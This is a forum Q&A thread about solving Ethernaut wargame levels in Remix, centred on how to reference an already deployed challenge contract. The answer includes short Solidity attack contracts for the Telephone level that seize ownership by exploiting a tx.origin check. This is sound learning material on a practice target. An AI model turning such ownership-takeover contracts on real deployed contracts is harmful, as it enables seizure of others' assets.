0

I'm going through the Ethernaut levels and I have some fundamental questions I need answered before I can continue. This question is particularly in reference to the levels that require you to deploy a contract to complete the level.

So I understand that the Ethernaut contracts are already deployed to the blockchain, when I want to interact with the specific level instance of the contract I'm working on. How do I reference that specifically? Are there multiple ways to interact with an already deployed contract?

I'm confused about topics related to interfaces and abstract contracts. It seems that different solutions for said levels, like CoinFlip and Telephone, utilize different ways of referencing the contracts, some of which even involve copying the contract code and deploying it again via Remix. I know i'm asking kind of a vague question but if anyone has anything they think will help in my understanding, please share. Thank you.

UPDATE

I'm sharing a code snippet that follows the suggestion made below. The error i'm getting in Remix is [Member "changeOwner" not found or not visible after argument-depending lookup in address]. I get that the function wouldn't be able to be called because I haven't deployed the contract and passed through the contract instance that would reference where changeOwner lives. What is the work around? Thanks.

contract HackTelephone {
    
    address telephoneInstance;
    
    constructor(address _telephoneInstance) {
        telephoneInstance = _telephoneInstance;
    }
    
    function changeOwner(address _owner) public {
        telephoneInstance.changeOwner(_owner);
    }
}

1 Answer 1

0

The Ethernaut challenges take place on the Rinkeby test network.

Are there multiple ways to interact with an already deployed contract?

Yes, you can basically interact with the contract from the blockchain itself (through your own smart contract) or by direct tx / calls through web3. Even though you could argue that to interact with your own contract you'd also need web3 or an equivalent library.

How do I reference that specifically?

For Remix, it's as easy as having your metamask running on Rinkeby and select "Injected Web3" for the Remix environment.

enter image description here

Then it's up to you to decide if you want a handle on the Ethernaut contract instance, or if you are just building a contract to interact with it.

For example, on most instances the following was enough for me :

pragma solidity ^0.8.9;

contract ChallengeX {
    
    
    address challengeInstance;
    
    constructor(address _challengeInstance) {
        // Receive the challenge contract address as parameter
        // Save the address of the challenge contract
        challengeInstance = _challengeInstance;
    }
    
    function attack() public {
        // Your attack logic
        // interacting with the contract
        // stored at : challengeInstance
    }
}

Where you deploy your attack contract by giving the challenge contract address as a constructor parameter. This can be done easily on Remix on the deploy input field :

enter image description here

It seems that different solutions for said levels, like CoinFlip and Telephone, utilize different ways of referencing the contracts, some of which even involve copying the contract code and deploying it again via Remix.

For now I never had a need to redeploy the contract instance from Remix as you say.. But anyway every challenge is different and it's up to you to figure out the vulnerability and the way to exploit it.

EDIT

For your example, in order to use this syntax:

telephoneInstance.changeOwner(_owner);

Your variable telephoneInstance should be of the type of the target contract. And in order to have access to the target contract type, you must provide a definition for it. So something like that :

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

contract HackTelephone {
    
    Telephone telephoneInstance;
    
    constructor(Telephone _telephoneInstance) {
        telephoneInstance = _telephoneInstance;
    }
    
    function changeOwner(address _owner) public {
        telephoneInstance.changeOwner(_owner);
    }
}

If you prefer a more succinct syntax, you can use calls with abi.encodeWithSignature that don't require to define the target contract, just to know (part of) its abi :

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

    contract ClaimOwnership {
        
        address targetContract;
        
        constructor(address _targetContract) {
            targetContract = _targetContract;
        }
        
        function attack(address _owner) public returns (bool) {
            (bool success, bytes memory rvalue) = targetContract.call(abi.encodeWithSignature("changeOwner(address)", _owner));
            return success;
        }
    }
2
  • Thanks very much for your response. I edited the question a bit with specific reference to how you suggested I reference the Ethernaut contract. It would be awesome if you could take a look, thank you!
    – skl_dev
    Nov 16, 2021 at 17:36
  • the latter didn't work for me (...abi.encode...), but the former did, which appears to be the recommended approach (to avoid issues if the method does not exist in the original contract). Something which made sense to me is that the Telephone contract could be compared to an abstract class in other programming language: methods do not need to be implemented, a constructor is not needed either. It's just needed as Solidity is a statically typed language. I also found the syntax telephoneInstance = Telephone(_telephoneInstance) to be clearer than telephoneInstance = _telephoneInstance Jan 13 at 10:08

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.